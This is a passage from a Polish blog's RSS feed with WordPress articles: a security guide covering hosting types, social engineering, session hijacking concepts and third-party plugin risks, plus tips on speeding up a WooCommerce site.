<li>Backup powinien być przechowywany na serwerze zewnętrznym, a nie na tym samym co działająca aplikacja</li>
</ul>
</ol>
<ol>Korzystanie z wtyczek z zaszyfrowanym kodzie, np. z pomocą IonCube
<ul>
<li>Oddajemy w ten sposób praktycznie dostęp do naszego serwera autorowi wtyczki. Nie znając kodu jaki jest uruchamiany popełniamy zbrodnię na cyberbezpieczeństwie</li>
</ul>
</ol>
								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-ii/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bezpieczeństwo w wordpress cz. I</title>
		<link>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-i/</link>
					<comments>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-i/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Wed, 02 Mar 2022 16:55:21 +0000</pubDate>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[Strona www]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<category><![CDATA[Wordpress www]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3247</guid>

					<description><![CDATA[<p>Bezpieczeństwo ogółem Z racji, że temat cyberbezpieczeństwa jest dość rozległym zagadnieniem, to zanim przejdziemy do miejsca w którym znajduje się tu WordPress należy przedstawić nieco szerszy obraz rzeczywistości w jakiej się znajdujemy, w jakim środowisku pracujemy, i co możemy z nim zrobić by zwiększyć bezpieczeństwo naszej strony. Wyróżniamy co najmniej cztery najpopularniejsze środowiska na jakich [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3247" class="elementor elementor-3247" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-4941084 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="4941084" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-baf2430" data-id="baf2430" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-142d551 elementor-widget elementor-widget-heading" data-id="142d551" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Bezpieczeństwo ogółem</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-dc8359f elementor-widget elementor-widget-text-editor" data-id="dc8359f" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Z racji, że temat cyberbezpieczeństwa jest dość rozległym zagadnieniem, to zanim przejdziemy do miejsca w którym znajduje się tu WordPress należy przedstawić nieco szerszy obraz rzeczywistości w jakiej się znajdujemy, w jakim środowisku pracujemy, i co możemy z nim zrobić by zwiększyć bezpieczeństwo naszej strony.</p><p>Wyróżniamy co najmniej cztery najpopularniejsze środowiska na jakich możemy znaleźć strony internetowe:</p><ul><li>Serwer VPS &#8211; środowisko do którego mamy zazwyczaj dostęp na poziomie superużytkownika, będące najbardziej opłacalne uwzględniając kwestię cena / jakość. Wymaga ono jednak podstawowej wiedzy z zakresu administracji serwerami na poziomie konsoli by móc je w pełni wykorzystać. Plusem środowisk VPS jest uproszczone zarządzanie kopiami zapasowymi dzięki często oferowanym (dodatkowo płatnym) automatycznym kopiom zapasowym.</li><li>Serwer dedykowany &#8211; kolokwialnie “VPS na sterydach” za odpowiednio wyższą cenę. W odróżnieniu od serwerów VPS jesteśmy w pełni odpowiedzialni za organizację kopii zapasowych. Zyskujemy największą wydajność kosztem obciążenia nas zorganizowaniem częściowych zabezpieczeń infrastruktury</li><li>Serwer współdzielony &#8211; serwer którego zasoby są współdzielone z innymi użytkownikami. Zazwyczaj oferują możliwość instalacji aplikacji z poziomu panelu administracyjnego metodami “1-click” i otrzymaniu dostępu FTP. Tu podobnie jak w funkcjach VPS możemy liczyć na kopie zapasowe jako element wliczony w cenę. Wybierając tę opcję bezpieczeństwo infrastruktury (nie aplikacji) zrzucamy praktycznie na dostawcę usługi.</li><li>Chmura &#8211; najczęściej skonteneryzowana sieć serwerów zarówno dedykowanych jak i VPSów. W tym rozproszonym środowisku publiczne CMSy praktycznie nie występują, lub ich obecność tam jest drogą pod górę ponieważ aplikacje w środowiskach chmurowych powinny być odpowiednio zaprojektowane u podstaw czego WordPress z racji powstania zanim chmury zostały spopularyzowane nie spełnia.</li></ul><p>W przypadku, gdy nie mamy doświadczenia w konfiguracji środowisk “od zera” jako superużytkownik, to zostaje nam efektywnie wybór środowisk współdzielonych. Praktycznie każda firma hostingowa ma w swojej ofercie takie środowiska i są one w skali roku najtańszym rozwiązaniem spośród wszystkich wyżej wymienionych.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-bef8565 elementor-widget elementor-widget-heading" data-id="bef8565" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Ważne</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-1976925 elementor-widget elementor-widget-text-editor" data-id="1976925" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Dalsza część artykułu wymaga ode mnie jako autora zawarcia informacji, że treści tu zawarte mają charakter czysto edukacyjny i nie mogą stanowić dla czytelnika źródła wiedzy służącej łamaniu prawa, lub działania na cudzą niekorzyść.</p><p>Testując cudzą własność pod kątem cyberbezpieczeństwa musimy uzyskać od tej osoby zgodę na wykonanie tych czynności, w przeciwnym razie następuje łamanie prawa.</p><p>Mając tę kwestię za nami, można przejść do kolejnej części.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-ab7ec6d elementor-widget elementor-widget-heading" data-id="ab7ec6d" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Wektor ataktu</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-ff1a0c4 elementor-widget elementor-widget-text-editor" data-id="ff1a0c4" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Popularny buzzword w IT służący do określenia metodyki jaką atakujący stronę użytkownik zamierza zastosować. Na potrzeby wizualizacji popularnych wektorów ataku przygotowałem poniższą ilustrację
:								</div>
				</div>
				<div class="elementor-element elementor-element-6d83ae2 elementor-widget elementor-widget-image" data-id="6d83ae2" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img decoding="async" width="456" height="512" src="https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku.png" class="attachment-large size-large wp-image-3249" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku.png 456w, https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-267x300.png 267w" sizes="(max-width: 456px) 100vw, 456px" />															</div>
				</div>
				<div class="elementor-element elementor-element-08c85ec elementor-widget elementor-widget-text-editor" data-id="08c85ec" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Niektóre z tych słów mówią same za siebie, inne mogą wymagać pewnych wyjaśnień, więc spróbujemy zawęzić je do tych, które są dla nas najbardziej ryzykowne na środowiskach współdzielonych.

Dla uproszczenia zamieszczam tę ilustrację ponownie zostawiając to na czym powinniśmy się skupić najbardziej, czyli:
								</div>
				</div>
				<div class="elementor-element elementor-element-294e182 elementor-widget elementor-widget-image" data-id="294e182" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="509" src="https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-hakerskiego.png" class="attachment-large size-large wp-image-3250" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-hakerskiego.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-hakerskiego-100x100.png 100w, https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-hakerskiego-300x298.png 300w, https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-hakerskiego-150x150.png 150w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-c0be2e4 elementor-widget elementor-widget-text-editor" data-id="c0be2e4" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Tak więc zacznijmy od czegoś, co w dzisiejszych czasach jest najbardziej popularnym powodem włamań &#8211; człowiek.								</div>
				</div>
				<div class="elementor-element elementor-element-7a42573 elementor-widget elementor-widget-heading" data-id="7a42573" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Człowiek</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-7b82b2f elementor-widget elementor-widget-text-editor" data-id="7b82b2f" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>I to nie ten, który dokonuje samego włamania &#8211; pomylimy przyczynę ze skutkiem. W ramach powiedzenia “lepiej zapobiegać niż leczyć” warto jest przeszkolić osoby mające dostęp administracyjny w taki sposób by były one wyczulone na najpopularniejsze techniki manipulacji w sieci.</p><p>Za psychologa się nie uważam, natomiast za kogoś kto dostał dziesiątki maili tego rodzaju już chyba mogę. Jako przykład jednej z ciekawszych prób oszustwa mogłabym przytoczyć historię w której dostałam email informujący mnie o tym, że pewna domena X.pl w której jestem posiadaniu naraża mnie na nieprzyjemności karne związane z tym, że koncern nadawcy zastrzegł sobie prawa do tej nazwy przed tym jak zarejestrowałem daną domenę. Niewiele myśląc odpisałam coś w stylu “no i?” wiedząc, że to za mało by móc wygrać sprawę w sądzie. W odpowiedzi uzyskałem coś bardziej ciekawego bo propozycję wykupienia nazwy pod innymi domenami (eu, dev, biz, etc.) za grosze, co właściwie mogłabym zrobić i bez ich namowy (to dobra praktyka), gdyby to nie była moja strona o niskiej dla mnie wadze. Uświadomiłam sobie, że to nie jest już rozmowa z botem, tylko przydzielono do mnie kogoś kto miał ten angielski na poziomie komunikatywnym. Jak się później okazało po drobnym researchu linki jakie zostały mi podesłane kierowały na serwery w Chinach, a że Chiny są skrajnie na bakier z poszanowaniem praw od razu przestałam sobie zawracać głowę tematem. Uzupełniłam tylko w miarę możliwości swój research i okazało się, że firma rzekomo oferująca te domeny miała skrajnie niesymetryczne umowy obciążają klientów dużymi kwotami.</p><p>Jestem skłonna uwierzyć, że dużo osób dało by się przekonać do zakupu większej ilości domen dla zabezpieczenia ich interesu.</p><p>Przykładów tego typu podejść można znaleźć mnóstwo, natomiast to co się powtarza w nich regularnie to:</p><p>-wywołanie u ofiary wrażenia, że sytuacja jest poważna<br />-zbudowanie atmosfery w której wierzymy, że osoba z którą piszemy jest po naszej stronie i stara się nam pomóc, lub też znaleźć kompromis<br />-jeśli możliwe &#8211; wywołanie presji czasu, lub stworzenie odpowiedniego momentu, np.<br />przed godziną 17stą gdy ludzie chcą szybko skończyć prace bo są zmęczeni &#8211; zwłaszcza na koniec tygodnia lub na koniec roku, gdzie zazwyczaj panują pewne zawirowania prawne i łatwiej jest wpędzić przedsiębiorców w błąd na podstawie plotek</p><p>Gdybym miała wskazać kilka punktów które pomagają znacznie zredukować ryzyko bycia oszukanym:</p><ul><li>Nigdy nie pozwalamy, by to ktoś decydował za nas, że coś jest ważne. Atakujący chce nam narzucić narrację, którą niekoniecznie przestudiujemy, i paradoksalnie coś co jest ważne dla niego może dla nas nie mieć znaczenia.</li><li>Zawsze w chwilach niepewności podważamy najprostsze założenia &#8211; czy osoba, która do nas dzwoni to na pewno osoba, za którą się podaje? Czy adres email z którego do nas piszą to na pewno oficjalny email firmy? Czy adres zawiera jedynie podobny znak do tego z nazwy firmy, etc…</li><li>Zawsze w przypadku, gdy ktoś nam grozi musimy do tego podejść od strony prawa a nie emocji. Weryfikujemy prawdomówność takiej osoby na podstawie własnej wiedzy, ewentualnie porady prawniczej. Ogólne domniemanie niewinności wymaga od osoby po drugiej stronie przedstawienia realnych informacji do których jako oszust nie powinien mieć dostępu.</li><li>Nigdy nie podajemy danych prywatnych osobom które się z nami kontaktują &#8211; jeżeli jest to pracownik banku, to te dane już ma, jeżeli rozmówca prosi o potwierdzenie informacji, do których potencjalnie ma lub powinien mieć dostęp &#8211; rozłączamy się. To on wykonuje telefon.</li></ul>								</div>
				</div>
				<div class="elementor-element elementor-element-3513f3a elementor-widget elementor-widget-heading" data-id="3513f3a" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">HiJacking</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-cf64dd7 elementor-widget elementor-widget-text-editor" data-id="cf64dd7" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									A właściwie to session hijacking, czyli przejęcie danych pozwalających na nawiązanie połączenia z serwerem w Twoim imieniu.

Chodzi o login i hasło?

Nie. Chodzi o dane, które otrzymujemy po poprawnym zalogowaniu się na stronie.

Trzeba tu trochę wspomnieć o tym jak działa protokół HTTP. Dawno dawno temu gdy strony internetowe nie były niczym innym niż jednokierunkowym źródłem informacji, w których odbiorca nie miał możliwości komentowania, w którym nie było takich rzeczy jak wyrafinowane statystyki odwiedzin, a cała strona to mógł być jedynie kod HTML, nie było wtedy sesji &#8211; połączenie było tzw. stateless i taki też jest protokół HTTP.

Czasy zmieniły się dawno temu i standardem jest, że niemal każda strona internetowa musi mieć jakąś informację związaną z danym użytkownikiem, nawet jeśli nie chodzi o samo logowanie. Poruszając się po stronie możemy zapisywać przeróżne ciasteczka pozwalające nam bez bycia zalogowanym utrzymywać wymianę informacji z serwerem, oraz zapisywać o nas informacje na serwerze.

Przykładowo:
								</div>
				</div>
				<div class="elementor-element elementor-element-b36b1e5 elementor-widget elementor-widget-image" data-id="b36b1e5" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="265" src="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat.png" class="attachment-full size-full wp-image-3258" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat-300x155.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-bb0861d elementor-widget elementor-widget-text-editor" data-id="bb0861d" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Użytkownik za pomocą przeglądarki wchodzi na stronę zajmującą się dostarczaniem żywności pod wskazany adres. Adres użytkownika można przechować na kilka sposobów, lecz najprościej jest zapisać go w sesji tak by większość informacji można było dla użytkownika spersonalizować przy ich wyświetlaniu, i nie pytać go o to co chwilę.</p><p>I co to ma do mojego bezpieczeństwa?</p><p>Specjalnie pogrubiłam tutaj słowo sesja ponieważ jest ono mylone z samymi ciasteczkami.<br />Uzupełnię teraz trochę diagram o kilka bloków więcej:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-2dc2e1a elementor-widget elementor-widget-image" data-id="2dc2e1a" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="214" src="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat2.png" class="attachment-full size-full wp-image-3259" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat2.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat2-300x125.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-146a0d5 elementor-widget elementor-widget-text-editor" data-id="146a0d5" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									I okazuje się, że ciasteczka to nie jedyne miejsce, gdzie można przechowywać dane użytkownika

Trochę się gubię

Uprośćmy to do tego, że w większości przypadków w ciasteczkach znajduje się hash naszej sesji, a dopiero sesja przechowuje nasze bardziej prywatne dane. Dzięki temu prywatne dane znajdują się na serwerze w sesjach a nie w ciasteczkach i przeglądarce:
								</div>
				</div>
				<div class="elementor-element elementor-element-4b7e17d elementor-widget elementor-widget-image" data-id="4b7e17d" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="204" src="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat3.png" class="attachment-full size-full wp-image-3260" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat3.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat3-300x120.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-dcbb84c elementor-widget elementor-widget-text-editor" data-id="dcbb84c" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Czyli mając wartość ciasteczka innej osoby można się efektywnie pod nią podszyć?</p><p>Tak, jeśli wykradamy ciasteczko zawierające hash naszej sesji z serwerem to jest to wtedy session hijacking i z jego pomocą możemy uzyskać taki efekt jakbyśmy byli danym użytkownikiem.</p><p>Ale to nie moja wina, że użytkownikowi ktoś ukradł ciasteczka</p><p>Może. Na pewno można utrudnić nieco ten proces przez instalację certyfikatu SSL. Zazwyczaj taki certyfikat sprzedawany jest przez webhosting, chociaż osobiście polecam skorzystać z Let’s Encrypt, lub wtyczki Really Simple SSL.</p><p>To takie proste?</p><p>Niestety nie do końca. Sposobów na wykradnięcie ciasteczek użytkownika jest bardzo dużo, i często jest to z winy nietechnicznego użytkownika (otwieranie złośliwych linków, lewe wtyczki do przeglądarki, wirusy, etc.). To co my możemy zrobić to upewnić się, że sami nie instalujemy na naszej stronie podatnych wtyczek, czy dziurawych szablonów o czym będzie potem.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-8f80a79 elementor-widget elementor-widget-heading" data-id="8f80a79" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Dostawcy trzeci</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-f979681 elementor-widget elementor-widget-text-editor" data-id="f979681" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Dużo się ostatnio mówi o tym, że jakaś strona ma problemy z działaniem bo, np. AWS ma problemy ze swoimi usługami, ale my tutaj skupimy się bardziej na ekosystemie wtyczek.</p><p>Czy wiesz, że duża ilość wtyczek nie realizuje swojej funkcjonalności bezpośrednio u Ciebie na serwerze? Ta lista funkcjonalności to nie tylko notyfikowanie użytkownika o nowym CVE dla jednej ze wtyczek na serwerze &#8211; to akurat miałoby prawo nie zadziałać, bo na kolejny dzień prawdopodobnie zostałoby naprawione i dla zdecydowanej większości stron nie miało by to znaczenia.</p><p>Co jeżeli taka wtyczka jest kluczowa dla działania naszej strony? Np. ReCaptcha?</p><p>Ten przykład został wzięty jako pierwszy z brzegu, i w momencie pisania tego artykułu można zaobserwować na stronie <strong>https://downdetector.com</strong> następujący wykres:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-f6c56b0 elementor-widget elementor-widget-image" data-id="f6c56b0" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="209" src="https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha.png" class="attachment-large size-large wp-image-3264" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha-300x122.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-d547f4c elementor-widget elementor-widget-text-editor" data-id="d547f4c" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Z jednej strony nie wygląda to jak globalna awaria, lecz z drugiej jeśli spojrzymy w komentarze:								</div>
				</div>
				<div class="elementor-element elementor-element-ba574b2 elementor-widget elementor-widget-image" data-id="ba574b2" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="111" src="https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha2.png" class="attachment-large size-large wp-image-3265" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha2.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha2-300x65.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-7e5d0b5 elementor-widget elementor-widget-text-editor" data-id="7e5d0b5" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>To zobaczymy jak niektórym może to napsuć w życiu. Co gdyby zacytowany wyżej Peter był klientem naszego sklepu? Niezależnie od tego czy sklep nie działa bo ktoś wykonał na nim atak DDoSowy czy nie, to efekt jest ten sam &#8211; system leży i nie wstaje.</p><p>Bronienie się przed tego rodzaju problemami zazwyczaj składa się z następujących rozwiązań:</p><ul><li>Nie instalujemy kodu realizującego usługi przez serwery pośrednika, jeżeli nie ma takiej potrzeby. W przypadku captchy powinniśmy być w stanie znaleźć wystarczająco dobrą alternatywę.</li><li>Instalujemy więcej niż jedną wtyczkę realizującą te samą funkcjonalność, tak by w przypadku awarii w, np. InPost móc użyć kuriera UPS/DHL, lub w przypadku awarii Przelewy24 użyć PayU (kolejność wymienionych produktów jest losowa).</li></ul>								</div>
				</div>
				<div class="elementor-element elementor-element-c801b75 elementor-widget elementor-widget-button" data-id="c801b75" data-element_type="widget" data-e-type="widget" data-widget_type="button.default">
				<div class="elementor-widget-container">
									<div class="elementor-button-wrapper">
					<a class="elementor-button elementor-button-link elementor-size-sm" href="https://kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-ii">
						<span class="elementor-button-content-wrapper">
						<span class="elementor-button-icon">
				<i aria-hidden="true" class="fas fa-arrow-right"></i>			</span>
									<span class="elementor-button-text">Przejdź do II cz. artykułu</span>
					</span>
					</a>
				</div>
								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-i/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Jak przyśpieszyć stronę w wordpress?</title>
		<link>https://sklep.kobietakoduje.pl/jak-przyspieszyc-strone-w-wordpress/</link>
					<comments>https://sklep.kobietakoduje.pl/jak-przyspieszyc-strone-w-wordpress/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Mon, 07 Feb 2022 19:58:59 +0000</pubDate>
				<category><![CDATA[SEM/SEO]]></category>
		<category><![CDATA[Sklep internetowy]]></category>
		<category><![CDATA[Strona www]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<category><![CDATA[Wordpress www]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3212</guid>

					<description><![CDATA[<p>Uaktualnij do PHP 7.4 Witryny oparte o WooCommerce powinny zawsze działać w szybkiej wersji PHP (w tym momencie stabilną wersją jest PHP 7.4), którą możesz zaktualizować na swoim serwerze. Większość użytkowników WordPressa korzysta z przestarzałych wersji PHP co znacznie obniża prędkość działania strony. Zoptymalizuj obrazki Zdjęcia na Twojej stronie powinny być jak najlżejsze. Zważ również [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3212" class="elementor elementor-3212" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-cb46b5f elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="cb46b5f" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c2fe8e1" data-id="c2fe8e1" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-877e35e elementor-widget elementor-widget-heading" data-id="877e35e" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Uaktualnij do PHP 7.4</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-800cb39 elementor-widget elementor-widget-text-editor" data-id="800cb39" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Witryny oparte o WooCommerce powinny zawsze działać w szybkiej wersji PHP (w tym momencie stabilną wersją jest PHP 7.4), którą możesz zaktualizować na swoim serwerze. Większość użytkowników WordPressa korzysta z przestarzałych wersji PHP co znacznie obniża prędkość działania strony.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-9cfe118 elementor-widget elementor-widget-heading" data-id="9cfe118" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Zoptymalizuj obrazki</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-32ef7d3 elementor-widget elementor-widget-text-editor" data-id="32ef7d3" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Zdjęcia na Twojej stronie powinny być jak najlżejsze. Zważ również na to, że czasem aby logo miało wysoką jakość, ale niską wagę warto zapisać je w formacie svg. Ja do optymalizacji zdjęć używam bezstratnej kompresji <a href="http://optimizilla.com/">optimizilla.com</a>. Czasem jednak warto zoptymalizować zdjęcia dodatkowo. Spróbuj wtyczki <a href="https://pl.wordpress.org/plugins/wp-smushit/">Smush</a>.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-ef8bc50 elementor-widget elementor-widget-heading" data-id="ef8bc50" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Usuń nadużywanie WooCommerce</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-3155ce3 elementor-widget elementor-widget-text-editor" data-id="3155ce3" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Możesz to zrobić za pomocą wtyczki <a href="https://wordpress.org/plugins/disable-dashboard-for-woocommerce/">Disable WooCommerce Bloat </a>wyłącz skrypty i style WooCommerce w treściach innych niż eCommerce, ponieważ nie trzeba ładować ich na każdej stronie, są one potrzebne tylko do obsługi zakupów. Dzięki tej wtyczce wyłączysz też śmieci WooCommerce w administratorze – widżety, analizy, powiadomienia, statusy itp.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-f37c607 elementor-widget elementor-widget-heading" data-id="f37c607" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Skonfiguruj wtyczkę do czyszczenia pamięci podręcznej</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-1d40dab elementor-widget elementor-widget-text-editor" data-id="1d40dab" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Istnieje wiele wtyczek które wyczyszczą podręczną pamięć zapisaną w Twojej witrynie:<br />WP Rocket<br />WP Fastest Cache<br />WP-Optimize<br />WP Super Cache<br /><strong>W3 Total Cache</strong><br />Ja polecam tę ostatnią ponieważ pozwala ona również na konfigurację innych opcji, które mają bardzo duży wpływ na prędkość wczytywania się Twojej strony internetowej. Warto pamiętać aby zmiany wprowadzać sukcesywnie i bardzo ostrożnie. Ja po każdej wykonanej zmianie sprawdzam prędkość w przeglądarce (zakładka network) i w Gtmetrix, tak więc proszę pamietaj o tym aby zmian dokonywać krok po kroku, gdyż niektóre zmiany mogą skutkować nawet zwolnieniem Twojej witryny. Zdjęcia ekranu konkretnych ustawień po kolei znajdziesz klikając <a href="https://kobietakoduje.pl/wp-content/uploads/kk/optymalizacjaw3.pdf" target="_blank" rel="noopener">tutaj</a>.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-69e5a39 elementor-widget elementor-widget-heading" data-id="69e5a39" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Usuń śmieci ze swojej bazy danych - WP Clean Up</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-9e5b3f2 elementor-widget elementor-widget-text-editor" data-id="9e5b3f2" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Prawdopodobnie na Twojej stronie znajdujących się niepotrzebne, przeterminowane treści. Jeśli dodano jakąś stronę, wpis, grafikę lub wtyczkę, a potem ją usunięto, zapis o niej w bazie danych nadal tam jest. Możesz więc usunąć te wszystkie zbędne dane, komentarze, osierocone pliki meta, postmeta i inne.
								</div>
				</div>
